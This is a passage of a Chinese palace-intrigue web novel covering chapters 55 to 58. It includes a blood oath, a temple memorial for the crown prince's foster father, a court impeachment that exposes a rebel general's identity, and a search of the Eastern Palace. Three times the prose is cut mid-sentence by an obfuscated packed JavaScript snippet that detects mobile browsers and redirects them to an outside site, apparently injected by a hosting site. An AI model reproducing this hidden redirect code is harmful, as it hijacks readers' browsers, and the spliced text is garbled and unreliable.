“不过举手之劳。”郭嘉饮了口茶，“还得感谢任待诏斡旋得力，军费的事才能如此顺利。加之令尊虽然行事墨守成规，但是清正勤勉，灵州在他治下，本将也放心。任待诏今日约我一见，是想让我照顾令尊？” 任知宜道：“当日我曾与将军说过，未来还有合作的机会，今日我便开诚布公，我的心愿与将军一样，希望能将郓国赶至函城以西，再不敢踏进灵州一步。” 执盏之手停在半空。 郭嘉神色幽厉，辨不出情绪，“来京数日，听说了许多关于姑娘的传言，关于姑娘的立场郭某尚且看不分明，何谈其它。” 任知宜浅笑不语，以食指蘸水，在桌案上写出两个字。 郭家瞥了一眼，眼皮微翻，神色愈加端肃，“既然如此，姑娘方才的话说早了。须知你所效忠之人与你想法不同，他并不想大胤与郓国一战。” 任知宜微一沉吟，声音依旧坚定，“将军放心，我会竭尽全力说服他。” 郭嘉面不动色，“只怕，到时候你身不由己。” 透过舲窗，两只灰蓝色的鴜鹭于水面轻点，一掠而过。 青山遥遥，秀峰叠翠。 任知宜望着窗外景色，悠悠道：“京城虽美，却不及灵州十分之一。我生于灵州，长于灵州，离家这么久，早已经开始想念瑜江山水的壮阔，灵山万树的豪迈。我希望灵州的山水草木再也不要沾上郓人的一丝气息。” 郭嘉眸中微起波澜，“姑娘分得清，孰轻孰重？” “非破而不立。”任知宜坦然迎视，目色清明，“我曾经厌恶官场倾轧，后来经历种种，才明白有些事情是事在人为。既然因缘际会让我涉足朝堂，岂能不为灵州百姓搏一搏？” 郭嘉微微动容，肃厉的神情现出一丝温意。 “希望来日，姑娘还能记得今日所言。” 任知宜从怀中掏出一把短匕，去掉刀鞘，锋芒毕露。 郭嘉瞳眸幽黑，神情淡定。 战场上出生入死几十年，什么阵仗没见过，自然不会被一个姑娘手中的利器吓到。 只见任知宜将锋刃就着食指轻轻划过，几滴鲜血落入茶水中。 水波摇曳，与洇开的血溶为一体。 任知宜举起茶盏，神情凝重，“以茶代酒，歃血为盟，初心不改。” “哈哈哈……”，郭嘉胸中突然涌起豪情万丈，“憋屈了十几年，就在郭某快要放弃时，竟让我遇到姑娘你，也许这就是天意。” 他拔剑一挥，亦痛饮一杯血茶。 舟舱外，晴空湛蓝，万里无云。 歩下船舱，郭嘉肃声道：“那个人与你我意见相左，恐怕将来迟早会有一番争执纠结。若姑娘已下定决心，便提早做好谋划，自古忠义难全，二者只能选其一。” 任知宜神情一顿，深深地点了点头，“知宜明白，多谢将军提醒。” 说完，郭嘉拱手拜别，渐成远影。 55. 法事 深山掩映，古木苍苍。 任知宜立于华济寺的山门前，听到晨钟缓缓敲响。 深沉悠扬的钟声与僧人的打坐低吟相承相和，彰显古刹幽远静谧，与世隔绝。 大殿中，众僧环绕。 卫枢盘坐于圈内中心，一身素衣，双目闭阖，两手合十，跟随僧人诵读经文。 晨光斜洒，将大殿之上的佛像折射出灿金之色，宝相庄严，洗涤众生之苦，内心渐趋宁静。 “阿弥陀佛。”华济寺的主持弘忍法师轻声诵道。 木鱼之声随之而落，整齐划一。 弘忍法师慈眉善目，面容平和，颇具佛家高僧的气度。 “殿下，七日已过。” 木龛之上香火燃燃，卫枢缓缓睁目，双眸澄净，满是虔诚地望着木龛上的灵位。 “法师受累。” 弘忍法师低首合十，“阿弥陀佛。每逢沈施主忌日，殿下都要念诵七日往生经文，是老衲生平所见最为至诚至性者，相信定能为沈施主消除造业之苦，往登极乐。” 木龛的灵位上刻着“父，沈玄”三个字。 卫枢望着名字，微微出神。 —— 那一年，他八岁，兆京城破。 他自一座山谷跌落，顺着河水被冲到岸边，因为摔到头，记忆断断续续，也辨不清方向，他只能跌跌撞撞地朝前走。外衣和靴子被人扒走，他便赤足朝前，走不到三里，脚底就磨出血。 当时的他以为一直朝前走，就能回到自己的家，就这样磨破，结痂，再磨破再结痂，直到双脚再也不会被砾石磨破。 渴了，就喝河水；饿了，就爬树摘酸野果充饥，饿到极致时，与野狗抢半张胡饼，靠着那半张胡饼，挨了三日。 路上总能遇到饿死的人，身上连张裹尸的草席都没有，有的人肉骨被野兽啃得支零破碎。第一次见到这种血肉模糊的尸体，他吓得全身痉挛，躲在山洞里哇哇大哭；后来他渐渐懂得，这种尸体身上的血腥气容易引来狼群，再碰上时，他会捡些枯草断茎盖在死人的身上，然后迅速跑开。 就这么一直走，一直走，终于有一日，饿晕过去。 晕倒前的一刹那，他脑海中浮现出兆京城破的漫天大火，还有父亲母亲死灰般的神情。 ——原来，他的家已经毁了。 醒来时，卫枢躺在一间草屋里，屋外刚下过雪，他推门而出，天地一片白茫，白得看不见万物原本的底色。 有一个人蹲在雪地里，卫枢以为他在堆雪人偶，走近一看，原来他正在用雪水擦洗萝卜。 那人见卫枢醒了，抬头一笑，“过来吃萝卜吧。” 那时，雪霁初晴，金色的日晖透过稀薄的云层倾泻下来，将那人柔和的眉目，温暖的笑容都染上一层光。 吃过饭，他问卫枢，“孩子，你认得字吗？” 卫枢目露恍惚。 他从包袱中拿出笔墨，敛起青色衣摆，抬手将笔蘸饱墨汁，端端正正地写出几个大字。 “这是我的名字。我姓沈，名玄，字本之。孩子，你叫什么？” 卫枢茫然半晌，写下一个“枢”字。 晕倒之前，他恢复了部分记忆，记起自己的名，记起他住的房子，也记起那夜的刀兵血光。 “小小年纪，字就写得颇有大家之风，看来你家境殷实，非富则贵。孩子，你可记得家住何处？” 卫枢摇头，“不记得，都被烧了。” 他脑中的记忆支离破碎，偶尔闪过的画面尽是漫天火光，刀兵剑戟。只要用力去想，便头痛欲裂。 “唉！战乱一起，平添多少流离之苦。”沈玄抚着他的发顶，眼神充满怜惜，“孩子，记不起来就算了，你愿意跟着我回家吗？” 落在自己头上的手掌，轻柔而温热，卫枢紧张的心渐渐沉静下来，心中好生安定。 卫枢重重地点头，手指紧紧地揪着他的衣袖，生怕他会反悔。 整整半个月，沈玄是第一个向他释放善意的人，在他弱小的心灵里，沈玄是他唯一的依靠。 沈玄温和道：“我家住靖北道安州云门镇，安州离此地还有数百公里。既然你醒了，我们便尽快启程。叛军为了攻打京城，调走了此地大半的守军，这里离京城近，终究不安全，咱们趁这个时机，尽快离开。” 沈玄又道：“你随我姓，若是有人问起，你就说你叫沈枢。” 卫枢懵懵懂懂地点点头。 沈玄抚着他的头，温声道：“等日后叛乱平定，我再带你回来，寻你的生身父母，一定能找到的。” …… 一阵脚步声传来。 卫枢的思绪回笼，从当年的记忆中走出。 小沙弥踏入殿中，双手合十，“寺外有位姓任的女施主求见殿下。” 卫枢敛眸，“让她进来。” 任知宜一身素衣，恭恭敬敬地在沈玄的灵位前磕了三个头。 “殿下，陛下请您回宫。” 弘忍法师道：“七日已过，殿下是该回宫了。” 卫枢缓缓道：“弘忍法师，我要将义父的灵位请回供奉。” 安州旧俗，若有至亲者枉死，必要在七年内做满七七四十九日诵经法事，之后于家中供奉灵位，晨昏一炷佛香。 “阿弥陀佛。”弘忍法师颔首道：“请殿下稍待片刻，待老衲准备好之后，殿下即可将沈施主的灵位请回。殿下事沈施主至亲至孝，他泉下有知，定能安慰。” 卫枢沉然半晌，“听说法师之前回过一次安州，孤之前拜托法师寻找的人，可有下落？” 弘忍法师与沈玄一样，皆是安州人。出家前，他曾与沈玄在同一书院读过书，两人不算熟识，却也彼此知晓。 后来，两人双双科举落第。 弘忍法师经此打击，大彻大悟，决然抛却红尘，剃度出家；而沈玄则回到乡里，做了一位教书先生。 嘉以四年，云门镇染疫。 叛将盛齐月担心疫病传播，暗中派心腹大将前往云门镇，不管百姓是否染疫，皆一并屠杀，并火烧云门镇，将云门镇变成一片废墟。 当时有四个未染疫的百姓侥幸逃出，他们从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127534|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云门镇的尸山血海中跑出来，历尽艰辛找到大胤的军队，指认叛军屠戮云门镇全镇百姓，惹得天下震动。 因着盛齐月倒行逆施，引得天下共讨之，不出两年，盛军败亡，叛乱平息，大胤改年号为咸宁。 溃败的盛军残部逃往西北，幸存的四人担心会遭到叛军余孽的报复，纷纷改名换姓，不再出现于人前。 卫枢拜托弘忍法师找寻的就是这四个人。 无人知晓，除了这四人，当今太子卫枢亦是云门镇屠案的幸存者。 当年云门镇染疫，弘忍法师亲自带领僧众为镇上百姓送吃食和汤药，后来又去邻州求助，可惜等他回来之时，云门镇已成火海，只来得及救出卫枢一人。 后来，卫枢回京，弘忍法师进入华济寺，成为主持。 “阿弥陀佛。没有任何音信。”弘忍法师长叹道：“这么多年过去，逝者已矣。他们本就是侥幸存活下来的人，殿下何必非要打扰他们平静的生活呢？” 卫枢轻声道：“如今是咸宁七年，叛军余孽已消。他们四人都是土生土长的云门镇人，正所谓故土难离，孤相信，迟早有一日，他们会回来的。” “阿弥陀佛。”弘忍法师道：“希望殿下早日得偿所愿。老衲先去加持灵盒，先行告退。” 待人走后，一声轻唤，“知宜。” 任知宜抬眸，见卫枢定定地望着她，目色温和。 卫枢笑道：“在此处说话，无须防备。” 她舒了口气，“殿下此番以身作局，着实冒险。” 早在琼林宴那夜，卫枢已将他与安州王的结盟，安州王与云门镇的关联，以及灵州粮仓案尽数向她坦诚。 刚得知真相时，她说不清楚心中是什么情绪。于理，卫枢行事周密，饶是她一直怀疑灵州粮仓案幕后另有他人，也没想过会是安州王。安州王一人牵涉两案，绝不简单。暂时稳住安州王，是必要之举。 只是她心中涌起一股说不清道不明的情绪，这种情绪被她自己察觉之后，她甚至不愿意再见卫枢。 面前的人修长玉立，如松如竹，依旧还是那个清正自持，心怀天下的太子殿下。 他没有变，变的人是她。 任知宜将微不可察的思绪压下，尽力做好一个东宫幕僚，“关于云门镇一案，朝廷为何避讳谈及？” 卫枢目色沉沉，“不只是云门镇案，还有明镜台士子悲歌，这些皆是朝廷的隐痛，不管是父皇还是一众文臣，都不想重提旧事，记起那段晦暗的过往。” “那就是说，即便我们最终成功，也是杀敌一千，自损八百。” “云门镇的真相，孤一定要查清，孤不能任义父和云门镇百姓枉死。”卫枢沉眉，“眼下是什么形势？” 任知宜拱手，肃声道：“前局已定，只待请君入瓮。” 此时，弘忍法师回来。 “阿弥陀佛。”弘忍法师将一方黑色檀木盒置于香案，双手合十，默念经文，将沈玄的灵位放于盒中，交予卫枢。 卫枢双手接过，护于胸前。 “多谢法师。” 56. 弹劾 微雨濛濛。 清和殿外，时未月落，天际初晓，众臣站在各自的位置候着，静待早朝。 明日是中秋之日，朝堂近来未有大事发生，且八月乃大胤吏部考核之期，众人心道，只要安安稳稳地度过此月，次年便可安枕无忧。 晨起的凉风一扫，站在最后面的小官禁不住拢袖搓手，“这天气，一夜入秋，毫无征兆啊。” 站他身旁的官员笑道：“今日恐怕有阴雨，所幸明日便休沐，我家夫人早已备好桂酒、月团，几个孩子日日翘脚盼着，都等不及了。” 二人官秩不高，站在宫门口不远处，突然听到身后传来声音。 回首一望，御史大夫叶蕴之扬首阔步而来，二人慌忙屈身让路。 余光扫过去，叶大人身后跟着一位褐衣老妇，年约四五十，头发半白，步履沉重。 众臣窃窃私语，二人也听了几句。 “啧啧……看这阵势，今日郑韩之争便要有个结果了。” “听说，前日韩家大摆鲜鲟宴，朝中去的人可不算多。韩家售卖假盐闹得沸沸汤汤，大家都觉得韩家必败，没人愿意触这个霉头。” “可是，景相家的公子，东宫那位幕僚，还有懿靖郡主可都去了。再说，叶大人都将人带到御前了，可见韩家告郑家的事是铁证如山。” “未必。郑檀如今圣眷正隆，陛下不是刚为郑家老夫人授了二品诰命，另赐了两个荫补额于郑家。” 众人眸中现出歆羡之色。 二品诰命尚在其次，恩荫制却是难得。一般，荫补子弟先入国子监，再等荫补空缺，运气好的甚至可以做到正四品刺史之位。 这等殊荣赐予郑家，不知有多少人眼红。 此时，内侍拖着尖长的声音高喊，“入，殿！” ———— 朝议过半，鸿胪寺卿祁冬阳呈上应国国书，恭身禀道：“陛下，照国书所写的日子推算，应国的彦月公主不日将抵达京城。” 皇帝飞快地瞥了一眼国书，“公主远道而来，鸿胪寺可准备妥当？” “房舍、衣物、膳食等皆已备好。” 皇帝随意地点了点头，神情露出几分疲惫。 接连几日，庆嫔夜夜痴缠，柔情缱绻，铁打的身子也难消受美人恩。 皇帝倦欠，“诸臣若无事，便退朝吧。” 御史大夫叶蕴之突然跨步而出，“臣，有本奏。” “允。” 叶蕴之朗声道：“臣欲弹劾郑家家主郑檀。” 皇帝蹙眉，“郑檀？” “第一桩，臣要弹劾郑檀教子不善，亵渎君恩。陛下恩赐荫补于郑家长子郑重，次子郑高，乃是皇恩荫庇，可是二子却在国子监声称，“此乃郑氏应得”，如此藐视皇恩，该当罪之。” 众臣皆惊，皇帝亦面色一沉，“此话当真？” “国子监学生皆可为证。” 皇帝怒起，“宣郑檀进殿。” 话音未落，胡总管道：“郑家主已在殿外等候多时。” 郑檀生就一张四方脸，悬胆鼻，身材壮阔，步伐矫健。 他双膝跪地，手掌托起一柄带满荆棘的藤鞭。 “臣之二子少不更事，胆大包天，竟敢亵渎君恩。臣知晓此事，怒鞭一百，如今他们正在文正门前跪着，等待陛下发落。” 皇帝瞥了他一眼，“郑卿觉得该如何处置？” “臣不敢僭说，窃以为，此乃大不敬，当斩。” 满朝一惊。 藤鞭布满荆棘尖刺，上面的鲜血兀自滴落于地，洇出血污。 亲子之命，说弃就弃，郑檀着实是个狠人！ 原本因为郑家被赐荫补而心怀不平的朝臣也不禁唏嘘起来。 皇帝神色稍霁，朝那藤鞭瞥了一眼，郑檀这一百鞭下去，两个儿子已是去掉半条命。 他心中的怒气消散大半，“罢了！带回去，好好教导。” “谢陛下圣恩。” 郑檀暗暗舒了一口气。 郑家蜗居江南百年，把控着江南三道九州的政务，家中子弟渐生骄恣之心，来到京城依旧未收敛，竟被太子抓住把柄，幸好安王通知得及时。 皇帝悠悠道：“盐业经营权归属争执日久，郑韩两家皆已签下契书，承诺盐税超两成。此事不可继续延宕，以免伤及赋税。” 他眼皮不抬，“韩少初如今何在？” 随侍一旁的胡总管垂着头，低声道：“在殿外候着。” “宣。” 针对朝臣提出假盐质疑，韩少初朗声道：“启禀陛下，售卖假盐的掌柜突然暴毙，臣将全部证据提交大理寺，林大人说此案疑点重重，尚不能定论。” 林居正颔首，“确有其事。” “呵……”，柳德道：“即使如此，也是韩家任人失当。” 韩少初面色不变，“启禀陛下，韩家在京城共计一百二十七家商铺，门下掌柜良莠不齐；出事的第三日，韩家已自行发现端倪，及时清理门户。” 皇帝袖起双手，半靠于椅背之上，视线扫过景相，他神情淡然，若有所思，大有冷眼旁观之意。 “陛下！” 一声高呼，拉回思绪。 叶蕴之上前一步，“韩家假盐尚未定论，可是臣弹劾郑檀的第二桩，却是人证物证俱在。陛下，郑檀谋害胞兄，罔顾人伦法度，乃是不仁不德，罪大恶极之人。” 叶蕴之在朝中素有贤名，他面容端正，双眉飞长，凛然陈辞时，威仪慷慨，气度绝然。 满殿闻之震动。 “叶大人。”柳德拧眉，“御史台掌百官纠察，何时管起命案来了？” 叶蕴之毫不退让，“历来难疑要案，御史台皆负监察之责。此案既关乎盐税，又牵涉朝中重臣，御史台自然当仁不让。” “这污蔑从何说起？臣冤枉！” 一声夹杂着惊疑、委屈和痛恨的声音响彻大殿。 郑檀惊然失声，倏地伏跪于地，“请陛下明察！若真有此事，臣甘愿在文华门前受千刀万剐之刑，挫骨扬灰。” 毒誓发得又狠又绝。 皇帝目色温和，轻声道：“郑家主，起身说话吧。” 复又望向叶蕴之，“叶卿素行高洁，眼里容不得半点沙子，但也须得给郑檀一个解释的机会，不可人云亦云。” 听到皇帝的这番维护之言，叶蕴之亦挺直着脊背，不堕半分仪态。 “这是郑檀兄长的遗孀郑李氏亲笔画押的供词，言明二十年前，郑家家主，郑檀之兄郑松突然失踪，只能由郑檀继任家主之位。两日后，郑松的尸体现于崖下，被乱石戳得面目全非，死状凄惨。郑松失踪之后，李氏曾亲眼见到郑檀偷偷焚烧郑松的衣物，后来更将郑松住过的院邸变卖作他途。” “叶大人！”郑檀喝断，“言之凿凿，却非实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127535|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证。” 叶蕴之不慌不忙，拿出第二份供纸，“这是大理寺卿林居正大人亲自去柳州取的证供。郑松失踪的那一日，有两个进山采药的村民亲眼见到你出现在郑松掉落的山崖。” “那又如何？”郑檀沉声反问。 叶蕴之继续道：“那山崖是柳州一个偏僻的小山头，周围荒无人烟，你去那儿做什么？” 郑檀面色不改，“那山上草药繁茂，我听说有一味草刚好能治家母顽疾，我去碰碰运气，或许兄长也是一片孝心，却运气不好，不慎跌落悬崖。” 郑母已逝去十几年，究竟有没有此事，谁也无法查证。 众人望向郑檀的目光起了些微变化，自古为争财夺利而兄弟残杀的事情并不少见，何况郑家富可敌国；但见郑檀神态自若，又纷纷纳罕。 “那你如何解释这个？”叶蕴之扔出一张纸笺，“这是当年郑松的尸验单。” 复又拿出一份文卷，“这是柳州前刺史方耀的证词。” 郑檀神色微凝，下意识地瞥了柳德一眼。 叶蕴之继续道：“仵作当年验出，郑松并非摔死，而是被割颈致死。方耀承认，你当年行贿于他，让他篡改尸验单，将此案作意外，草草了结。” “郑檀！”他神色肃然，厉声喝道：“你还有何话说？” 郑檀默了半晌，突然叩首道：“听闻叶大人已将臣的寡嫂带至宫门外，臣想见一见寡嫂李氏。” 众臣面露疑惑。 物证俱全，人证就是那郑李氏。 郑檀何意？ 大殿外的石阶前，李氏颤身伏拜。 郑檀转头望她，沉下脸来，“嫂嫂！是你说的？大哥是死于我手？” 李氏不敢抬头，浑身发抖，半晌才颤声道：“是。” 郑檀突然大喝，“这是陛下面前！你想清楚！欺君之罪，是要被杀头的。” 李氏木然抬眼。 日光照不进大殿，若明若暗，御座高高在上，雕刻其上的飞龙腾跃而起，张扬的利爪闪着金色，令人目眩。 还有郑檀那双阴鹜的双眼，在人群中犹如鬼目，正森森地望着她。 她吓得霍然低头，面色煞白，身子抖如筛糠，几乎要晕倒在石阶上。 皇帝开口，“郑檀，这些口供、证词都是假的？” 郑檀伏地叩首，“叶大人所呈供词属实。” 话音一顿，他抬头朗声道：“但是，那具尸体却不是我兄长郑松。” 皇帝闻言，双目愕然。 满殿震惊，却又听郑檀继续道：“陛下，那具尸体是臣从邻县买来的死刑犯。府衙里常有死刑犯在行刑前病死狱中，通常官府会将尸体割颈，扔入乱坟岗里，臣花银子买了一具与我兄长体形相近的尸体，划伤脸部，扔下悬崖。其实，种种作为，皆是受家兄所托。” 郑檀面色不改，解释道：“家兄郑松自幼喜欢舞刀弄枪，不喜经商，与爹娘有过数次争执。当年他执意离家，让臣帮他假死脱身，其实，他一直活着，每年都会给臣寄一封信。” 如此内情，实在匪夷所思。 皇帝怔了半晌，蹙眉道：“郑松如今何在？” 郑檀沉默了一瞬，“回禀陛下，臣不知道。自十一年前起，臣再没收过家兄的信，自那以后失了音信。” 咚地一声。 跪着的李氏在听到“十一年前”时，骤然晕倒在石阶上。 57. 暗局 一直端坐于交椅之上，默不作声的景相缓缓地站起身来。 他双眸矍铄，目光沉然，“若郑檀所说为真，老臣以为，此乃郑家家事，郑檀做事虽有失偏颇，却无关德行。” 柳德闻言，望向叶蕴之，笑声轻快，“叶大人觉得呢？” 满朝文武静立无言，眼观鼻，鼻观心，内心思绪翻涌，韩家怕是要一败涂地了。御史台今日必要负失察之责，更何况皇帝原本就属意郑家。 李氏晕倒，太医匆匆赶来。 长针刺入百会穴，人悠悠地醒转过来。 李氏望向朝臣，满眼惊惧，身子抖得有如风中飘零的落叶。 她挣扎坐起来，拼命叩头。 “民，民妇有罪。民妇愚钝无知，误信流言。” 郑檀冷笑，“嫂嫂可不愚钝。兄长曾在信中提到，每隔一段时间也会寄信嫂嫂，嫂嫂本就知情，为何非要冤枉我？” 李氏面无血色，一脸的灰败。 “民妇死罪，死罪……” “陛下。”郑檀道：“家兄生死未卜，臣想问她一句家兄的下落。” 皇帝应允。 “兄长健在？” “夫，夫君已故。” “因何故去？” 大殿陷入死寂，李氏嘴唇抖动，半晌不说话。 郑檀凝目而视，眼底一片幽深，缓缓问道：“或者，我换一个问题，到底是何人指使你来冤枉我？” 众臣眼神轻动，余光扫过一人。 ——太子卫枢。 殿外风起，乌云遮日，天光渐暗。 烛火摇曳，明暗交错，灯影幢幢。 冷风窜进衣领，李氏瑟缩了下身子，颤声道：“民妇因为嫉妒二叔得到家主之位，又恨他将我们孤儿寡母赶到乡下，一时迷了心智诬陷于他，着实没有人指使我。” 说完，李氏神情激动，额头磕得鲜血直流，“民妇但求一死，但求一死！” 皇帝失了耐心。 “席白。” “臣在。”席白乃刑部尚书。 “事关大理寺、御史台清誉，将郑李氏和她儿子押入刑部大牢，严刑审问。三天之内，给朕一个结果。” “臣遵旨。” 李氏闻言，吓得魂不附体，“陛下开恩！陛下开恩！民妇的儿子什么都不知道。” 大胤非重案不入刑部。民间传言，刑部大牢为震慑犯人，设计了三十七种刑具，被关进去的人只求速死，不愿苟生。 皇帝不耐烦地挥手，示意内侍将她拖走。 “不！不！”李氏像是突然清醒了一般，猛地磕头，“陛下开恩！民妇说！民妇愿意说！” 李氏耷拉着眼睛，“是，是懿靖郡主。” 此言一出，满朝哗然。 李氏跪在郑檀身旁，神情凄惶，“吉儿他什么都不知道。你看在他是你大哥唯一骨血的份上，求求你放过他吧。千错万错，都是我一人的错！” 皇帝拧眉，“李氏，你与懿靖郡主素不相识，为何听命于她？” 李氏垂着头，“郡主以民妇儿子的性命相胁，民妇不得不从。” “荒谬！”柳德冷笑：“到这个时候了，还在砌词狡辩！再不说实话，先将你亲儿郑吉推出去斩了！” 话音刚落，只见李氏猛然爬起，飞奔着撞向殿外立柱。 殿前侍卫的动作更快。 没有传来意想中的疼痛，李氏撞柱自尽不成，被侍卫制住，动弹不得。 她浑身战栗不止，崩溃地掩面痛哭。 “懿靖郡主威胁民妇……”，李氏声音抖颤，“要将民妇夫君的身份说出来。” 皮肤松弛，眼窝深陷，李氏的面容比她的年纪还要苍老十几岁，她像是被内心的纠结和惊惧折磨了很久，如今倾泻而出。 “我夫君郑松，当年离家之后，改名为郑鸿泰。” “郑鸿泰！” 有人失声喊道：“难道是当年嘉以之乱，逆贼盛齐月手下的第一大将郑鸿泰？” 李氏神情凄惶，低着头不答话。 郑鸿泰是盛氏第一猛将，骁勇善战，常于阵中斩杀大胤将领首级，令人闻风丧胆。当年他为先锋，一路杀入皇宫，逼得懿华宫玉妃和数十位妃嫔宫女自缢，又放火烧了懿华宫。 盛齐月不但没有斥责，还大加封赏于他。后来，嘉以四年，郑鸿泰突然急病离世，被盛齐月赐封王，以“忠勇”为谥号，正是十一年前。 任何人也想不到，郑鸿泰居然是百年世家柳州郑家的长子，郑家家主的兄长。 皇帝面目阴沉，“李氏，你说得是真的？” 朝中上下皆知，懿华宫是皇帝的一块心病。为了修缮懿华宫，皇帝还与景相争执过数次。 因为玉妃是二公主的生母，传闻当年皇宫陷落，玉妃等人惨遭盛齐月的凌辱，郑鸿泰为了替盛齐月遮掩丑事，一把火烧了懿华宫。 郑檀面色煞白，望向柳德的双眸阴鹜狠戾，像是一只要撕咬柳德皮肉的困兽。 这个老匹夫！难怪他之前说，安王成为储君之后，郑家失去的终将重新回来。若早知这个秘密，他一早就将李氏母子杀掉以绝后患，何论今日。 郑檀几乎咬断后牙，仓皇叩头。 “陛，陛下息怒，臣着实不知情啊！” 众臣心中思量，郑松和郑檀之间本就没多少兄弟情义。郑松野心勃勃，不满于郑家家主之位，想跟着盛齐月逐鹿天下，又担心身份暴露，不得已假死脱身。郑檀不费吹灰之力得到家主之位，二人各取所需。 郑松担心郑檀会对李氏母子不利，所以自始至终没有告诉郑檀他的身份。郑檀虽不知情，郑家出了一个逆贼却是不争的事实。 有人突然问道：“此等秘辛，郑檀尚且不知，懿靖郡主如何得知的？” 他的话，提醒了众人。 嘉以四年，云门镇染疫。盛齐月派出心腹大将郑鸿泰杀害云门镇染疫的百姓，一夜之间，血流成河，哀嚎遍野。 传闻郑鸿泰死于疫症，残杀者最终染疫病而死也是因果报应。后来云门镇之事被幸存之人公之于众，盛齐月不愿承认，所以隐瞒了郑鸿泰的死因。 时隔十一年，这一桩旧案会以这种方式，被人再度提起。 众臣回忆起当年这场云门镇惨案，纷纷唏嘘。 皇帝面色沉沉，低声道： “宣，懿靖郡主！” “父皇。”突然，一道清冷的声音缓缓响起。 几簇烛火跳动，灯影下长眉清隽，薄薄的眼皮微微上抬。 “不必宣懿靖了。”卫枢轻声道：“这件事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127536|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她是从儿臣这里知道的。” 殿外淅淅细雨，一滴一滴落在宫檐的瓦当上，声音清脆而明亮。 吏部尚书秦洙踌躇半晌，跨步而出，“启禀陛下，有人向臣密报，言太子与安州王结党，臣不胜惶恐，伏启陛下圣裁。” “一派胡言！”叶蕴之冷声道。 “告密者声称东宫里藏有往来信笺，说安州王为太子献计，笼络朝臣。”秦洙偷偷地觑了卫枢一眼，继续道：“臣，臣原本也是不信的。” 众臣不解，太子与安州王过从甚密，满朝皆知，算不得什么大事。可是，若太子直接揭露郑鸿泰身份，郑家必败，何必绕一大圈让懿靖郡主威胁李氏诬陷郑檀？ 有人将疑惑提出。 柳德缓缓道：“臣也接到一封密报。说太子一直在暗中调查当年的云门镇屠案，欲为叛贼正名。” 此言一出，大殿陷入死一般的静寂。 天际一声惊雷，大雨滂沱而下，哗啦啦的雨声遮住殿内众人隆隆的心跳声。 天地一片乌色。 烛火照不亮大殿，众人的脸色皆乌沉青黑，满眼的惊惧交加。 静寂了约摸半刻钟的时间。 皇帝缓缓出声，“今日秋雨霏霏，众卿陪朕去东宫赏一赏景色吧。” “陛下！”叶蕴之骤然失声。 皇帝犹在盛怒之中，径直拂袖起身，众臣尾随离开清和殿。 殿外阴云密布，大雨如注，连成一片接天的雨幕。 叶蕴之失了往日从容，一把挥开内侍擎在他头上的伞，跪在泥泞里，“请陛下三思！太子绝不可能为叛贼翻案。” 皇帝面沉如水，唇角含一抹冷笑，“连叶卿也不信太子是无辜的？” 大雨中，卫枢伸手扶起叶蕴之，双眸淡静无波，“父皇，儿臣无罪，亦无惧。” —— 东宫门前。 任知宜率东宫众人谒见皇帝，伏拜于地。 她身着绛红色圆领窄袖官服，头戴黑色双幞乌纱帽，端庄贞静，落落大方。 雨水打落在颜面上，她眼睫微湿，肌肤像是蒙上一层薄薄的水气。 “臣任知宜拜见陛下！” 皇帝阴声道：“从书房开始搜，只要是有关安州，云门镇或者叛贼的任何东西，一片纸都不能少。” 皇帝亲临，搜查东宫。 东宫诸人大气不敢喘一下，不知道发生何事。 任知宜依旧维持着跪拜的姿势，可是眼皮骤抬，望向柳德的眼神幽邃难测。 柳德捋着薄须，笑了笑。 他们原本的约定是，任知宜引懿靖郡主入局，令她声名狼藉，失却成为太子妃的机会；柳德借机弹劾太子和安州王结党，陷韩家与叶蕴之诬告之嫌。 可惜啊！ 盐业经营权固然重要，一举重挫太子，扶安王上位的机会更为难得。 太子瞒着他的父皇、他的老师，暗中查云门镇屠案是他的第一个错误；重用任知宜，则是他的第二个错误。 不多久，禁军搜查完毕。 “启禀陛下，搜到七封密信，皆与安州有关。”禁军统领莫千山顿了一下，“另外，还搜出这个东西。” 透过雨幕，皇帝看见他双手擎托的东西。 一方黑色檀木长盒。 58. 构陷 秋雨渐歇，成淅沥之势。 覆着锦绣华盖的肩舆落地，皇帝缓步踏出。 “将书房搜出的信念出来，给大家听听。”皇帝的声音没有一丝温度。 莫千山依旨。 一封一封听下去，众臣起初忐忑不已，后来终于是回过神来。 安州王寄给太子的信不少，却未说什么隐密之事，只是交代太子多多照顾懿靖郡主，关于云门镇屠案更是丝毫未提及。 众臣心如明镜。 这哪里算什么罪证！ 未搜出实证，太子最多担一个“擅交朝臣，往来过密”之责，受些惩处；只是懿靖郡主与太子的婚事恐怕保不住了。毕竟，帝后不可能接受一个声名有损的太子妃。 柳德的唇角噙出一抹冷笑。 任知宜果然没有按照他们之前约定好的，将太子多年来调查郑松身份的信笺拿出来。 